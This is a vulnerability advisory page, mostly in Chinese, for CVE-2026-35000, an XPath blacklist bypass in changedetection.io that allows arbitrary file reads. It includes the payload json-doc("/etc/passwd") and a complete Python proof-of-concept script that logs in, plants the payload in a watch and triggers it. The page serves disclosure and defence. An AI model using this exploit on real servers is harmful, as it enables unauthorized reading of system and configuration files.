IPBUF安全漏洞报告
English
CVE-2026-35000 CVSS 6.5 中危

CVE-2026-35000 changedetection.io任意文件读取漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-35000
漏洞类型
任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
changedetection.io

相关标签

任意文件读取XPath注入changedetection.io安全绕过CVE-2026-35000

漏洞概述

changedetection.io在0.54.7之前的版本中存在一个严重的保护绕过漏洞。该漏洞源于SafeXPath3Parser实现的安全机制不完善,其黑名单未能完全阻止危险的XPath 3.0/3.1函数。攻击者可以利用未被屏蔽的函数(如json-doc)绕过安全限制,从本地文件系统中读取任意敏感文件。该漏洞需要低权限用户交互即可触发,可能导致服务器上的关键配置或数据泄露。

技术细节

该漏洞的核心原因在于changedetection.io使用的SafeXPath3Parser组件未能正确实现安全过滤。开发者试图通过黑名单机制禁用危险的XPath函数以防止注入攻击,但该黑名单不完整,未覆盖XPath 3.0/3.1规范中的所有文件访问原语。具体来说,攻击者可以利用`json-doc()`函数。该函数在XPath 3.0中用于读取JSON文件,但由于缺乏上下文隔离,它可以被滥用来读取服务器上的任意文件。攻击者只需在监控配置的XPath字段中注入如`json-doc("/etc/passwd")`的载荷,应用程序在解析时就会执行该函数,将文件内容返回给攻击者,从而绕过了原本预期的安全沙箱限制。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是changedetection.io 0.54.7之前的版本。
STEP 2
访问与认证
攻击者获取低权限账户(PR:L),登录到changedetection.io的Web管理界面。
STEP 3
漏洞利用
攻击者在添加或编辑监控任务时,在XPath过滤器字段中输入恶意载荷:`json-doc("/etc/passwd")`。
STEP 4
执行
应用程序处理该请求,SafeXPath3Parser未能拦截`json-doc`函数,解析器读取并返回了本地文件内容。
STEP 5
数据泄露
攻击者通过监控任务的预览或结果数据获取到服务器上的敏感文件信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35000: changedetection.io Arbitrary File Read # Description: This script demonstrates how to bypass SafeXPath3Parser # using the json-doc() function to read local files. import requests import json # Configuration TARGET_URL = "http://localhost:5000" USERNAME = "admin" PASSWORD = "password" # Login to get session session = requests.Session() login_payload = {"username": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/login", data=login_payload) # The malicious XPath payload using json-doc() to read /etc/passwd # Note: The file path can be changed to any file on the system malicious_xpath = 'json-doc("/etc/passwd")' # Prepare the watch request with the malicious XPath watch_data = { "url": "http://example.com", # A valid URL to monitor "title": "PoC Test", "xpath": malicious_xpath } # Send the request to create/update a watch headers = {"Content-Type": "application/json"} response = session.post(f"{TARGET_URL}/api/v1/watch/add", data=json.dumps(watch_data), headers=headers) if response.status_code == 200: print("[+] Watch created/updated successfully. Triggering a check...") # Trigger a check immediately to execute the XPath check_resp = session.get(f"{TARGET_URL}/api/v1/watch/{json.loads(response.text)['uuid']}/checknow") print("[+] Check triggered. Inspect the watch result page or logs for file content.") else: print("[-] Failed to create watch.") print(response.text)

影响范围

changedetection.io < 0.54.7

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用XPath自定义功能或严格限制用户权限。同时,管理员应检查系统日志中是否存在异常的XPath查询请求,以判断是否已被攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表